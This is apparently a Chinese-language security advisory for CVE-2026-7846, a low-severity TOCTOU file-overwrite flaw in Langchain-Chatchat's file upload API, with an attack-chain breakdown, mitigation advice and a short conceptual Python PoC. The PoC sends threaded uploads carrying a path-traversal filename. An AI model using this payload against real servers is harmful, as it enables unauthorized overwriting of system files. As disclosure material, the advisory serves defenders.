IPBUF安全漏洞报告
English
CVE-2026-7846 CVSS 2.6 低危

CVE-2026-7846 Langchain-Chatchat 文件覆盖漏洞

披露日期: 2026-05-05

漏洞信息

漏洞编号
CVE-2026-7846
漏洞类型
竞态条件 (TOCTOU)
CVSS评分
2.6 低危
攻击向量
邻接 (AV:A)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
chatchat-space Langchain-Chatchat

相关标签

TOCTOU文件覆盖Langchain-Chatchat竞态条件CVE-2026-7846

漏洞概述

chatchat-space Langchain-Chatchat 0.3.1.3及之前版本存在安全漏洞。该漏洞源于OpenAI兼容文件上传API中的files函数,由于对参数file.filename的处理存在检查时与使用时(TOCTOU)竞态条件,攻击者利用该漏洞可导致静默文件覆盖。攻击需要本地网络访问权限、低权限用户且无需用户交互,利用难度较高。

技术细节

该漏洞位于`libs/chatchat-server/chatchat/server/api_server/openai_routes.py`文件的`files`函数中。在处理文件上传请求时,系统未能正确验证`file.filename`参数,导致存在“检查时与使用时”(TOCTOU)竞态条件漏洞。攻击者通过操纵文件名参数,可以在系统检查文件路径合法性之后、实际写入文件之前的极短时间内改变目标路径。由于攻击需要邻接网络访问、低权限账户,且利用复杂度高,通常涉及精心构造的请求时序攻击。成功的利用可能导致服务器上的关键文件被静默覆盖,破坏系统完整性,但不会直接导致机密性泄露或服务拒绝。

攻击链分析

STEP 1
1. 信息收集
攻击者确定目标运行的是Langchain-Chatchat 0.3.1.3或更早版本,并获取有效的低权限账户凭证。
STEP 2
2. 探测API
攻击者访问OpenAI兼容的文件上传接口(/files),分析其处理文件名的逻辑。
STEP 3
3. 触发竞态
攻击者发送特制的文件上传请求,操纵`file.filename`参数。在系统验证文件名安全性与实际写入文件的间隙(TOCTOU窗口),攻击者通过高频率请求或环境改变试图覆盖系统文件。
STEP 4
4. 文件覆盖
利用竞态条件成功,将上传的数据写入服务器上的敏感路径(如配置文件或脚本),导致完整性受损。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import threading import os # Conceptual PoC for TOCTOU File Overwrite # Target: Langchain-Chatchat OpenAI-Compatible File Upload API target_url = "http://target-ip/api/v1/files" malicious_filename = "../../../tmp/malicious_file.txt" legitimate_filename = "safe_upload.txt" def upload_race(): """Simulates the upload request trying to exploit the race condition.""" files = {'file': (malicious_filename, 'malicious content')} # The attacker tries to force the application to write to a path # that was validated as safe but changed during the operation. response = requests.post(target_url, files=files, headers={'Authorization': 'Bearer <token>'}) print(f"Upload status: {response.status_code}") # In a real scenario, this would involve precise timing to switch # the file descriptor or path between the check and the write. # This example demonstrates the request structure. if __name__ == "__main__": # Run multiple threads to increase chance of hitting the race window threads = [] for _ in range(10): t = threading.Thread(target=upload_race) threads.append(t) t.start() for t in threads: t.join()

影响范围

chatchat-space Langchain-Chatchat <= 0.3.1.3

防御指南

临时缓解措施
在官方修复之前,建议通过防火墙限制对OpenAI文件上传API的访问,仅允许可信的内部IP调用。同时,管理员应检查服务器文件系统,确保关键文件的完整性未被破坏,并监控异常的文件上传行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表